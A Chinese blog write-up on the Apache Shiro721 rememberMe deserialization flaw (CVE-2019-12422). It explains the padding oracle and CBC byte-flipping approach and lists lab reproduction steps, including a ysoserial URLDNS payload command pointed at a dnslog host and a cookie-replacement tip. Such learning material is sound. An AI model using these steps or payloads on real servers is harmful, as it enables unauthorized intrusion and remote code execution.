CVE-2019-12422 Shiro721反序列化漏洞
前面分析了Shiro550,导致Shrio550漏洞的原因是Shiro存在默认key,当服务器端的默认key没有修改,则攻击者可以利用这个默认key进行传输任意的rememberMe字段Cookie,这个rememberMe字段Cookie传输到服务器端之后会被反序列化!
而在shiro1.2.5及以后的版本怎么利用呢?
漏洞成因
Shiro在我们登录点击了记住我功能时,会给我们返回一个rememberMe字段Cookie,下次登录携带这个Cookie,服务器端就会把这个Cookie进行解密,然后把解密后的数据进行反序列化,这时如果我们能在解密后的数据中插入一段恶意序列化数据,则有可能攻击成功服务器端!
Shiro的加密方式为AES/128/CBC
,这个CBC加密方式存在一个 Padding Oracle Attack( 填充 Oracle 攻击 ),可以通过爆破获取到所有的明文值,这样明文值和密文值则都知道了,但是这貌似并起不到反序列化的作用,如果可以改变密文值(也就是rememberMe字段Cookie),从而达到经过服务器端AES解密后的明文值存在我们的恶意序列化数据,这样就可以实现攻击了,而在知道密文值和明文值的条件下,可以完成这一功能的有CBC Byte-Flipping Attack ( CBC字节翻转攻击 )
CBC Byte-Flipping Attack ( CBC字节翻转攻击 ) 可以通过改变密文值来达到改变经服务器端AES解密后的数据的作用
漏洞复现
环境:Shiro1.4.1+JDK8(参考下面链接)
部署好环境之后用root/secret
登录(记得点记住我功能),进去后随便捉个包,获取到rememberMe字段Cookie值
用java -jar ysoserial-master-8eb5cbfbf6-1.jar URLDNS "http://i7y29z.dnslog.cn" > payload.ser
命令生成URLDNS反序列化链数据并保存在文件中
用python脚本跑出经服务器端解密后存在恶意数据的rememberMe字段Cookie
把跑出来的Cookie字段把数据包里面的rememberMe字段Cookie替换,发包就能在dnslog上看到解析记录了
复现时遇到的坑!
在把跑出来的Cookie字段放在数据包重新发包时,需要把 JSESSIONID 字段Cookie删除掉再发包。但是有时候我们在有 JSESSIONID 字段Cookie也能POC成功,这时因为此时的 JSESSIONID 字段Cookie已经生效的原因!
总结
分析这个漏洞的时候跟着Epicccal师傅的文章了解了AES/128/CBC加密,也了解到了 CBC字节翻转攻击 和 填充 Oracle 攻击,上面只是简单记录下学习的知识点,具体的可以参考Epicccal师傅的文章,讲的很清晰!
Reference:
https://www.guildhab.top/2020/11/cve-2019-12422-shiro721-apache-shiro-rememberme-padding-oracle-1-4-1-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e-%e5%88%86%e6%9e%90-%e4%b8%8a/